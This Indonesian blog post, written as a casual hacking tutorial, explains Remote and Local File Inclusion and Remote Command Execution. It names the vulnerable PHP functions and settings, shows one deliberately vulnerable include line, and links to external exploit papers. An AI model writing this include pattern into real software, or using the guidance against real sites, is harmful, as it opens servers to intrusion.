hello bro..ini dia kita memasuki tahap yang dibilang banyak dilakukan oleh para hacker indonesia yang sering main atau nongkrong di irc,hehehe :p
file inclusion ini terbagi 2 bagian:
1.Remote FIle Inclusion
2.Local File Inclusion

nah sini w bahas yang RFI dulu yah..

RFI (Remote File Inclusion) adalah sebuah lubang dimana site mengizinkan attacker meng-include-kan file dari luar server. nah ngerti g tuh bro...jadi gampangnya gini loh...jadi dari luar server kita bisa melakukan kaya kita didalam server, nah gitu bro...

nah kemudian LFI

LFI (Local File Inclusion) adalah sebuah lubang pada site di mana attacker bisa mengakses semua file di dalam server dengan hanya melalui URL.

nah disni saya akan memberikan bug terjadinya RFI dan LFI..

> [Penjelasan ]
< fungsi-fungsi yang dapat menyebabkan LFI/RFI:include(); include_once(); require(); require_once(); Dengan syarat pada konfigurasi php di server: allow_url_include = on allow_url_fopen = on magic_quotes_gpc = off contoh: misalkan kita punya file index.php dengan content kodenya seperti ini, Code: include "../$_GET[framefile]"; ?>

0x06::RCE (Remote Command Execution)

RCE...wah apa tuh baru denger nih...???? wah kaka, masa sih baru denger..ini adalah salah satu serang yang sering digunakan oleh attacker di indonesia juga..dari namanya juga kita pasti tahu apakah itu..itu adalaha bagaiman si attacker mampu menexecute perintah2 dengan meremote server yang vulnerable dari site

sebagai contoh saya bisa kasih link saja yah tentang RCE ini

untuk mencari RCE anda bisa buka
http://www.milw0rm.com/papers/369

untuk bermain RCE dengan LFI, loh bisa baca
http://www.milw0rm.com/papers/361
http://www.milw0rm.com/papers/260

nah sisanya anda cari lagi yang mengenai RCE, sebenernya RCE bukan hanya ada di bug LFI, tapi masih banyak lagi, seperti di phpmyadmin dan lain-lain..

sekian dari saya semoga bermanfaat adanya bro...

0 komentar:

Template by : kendhin x-template.blogspot.com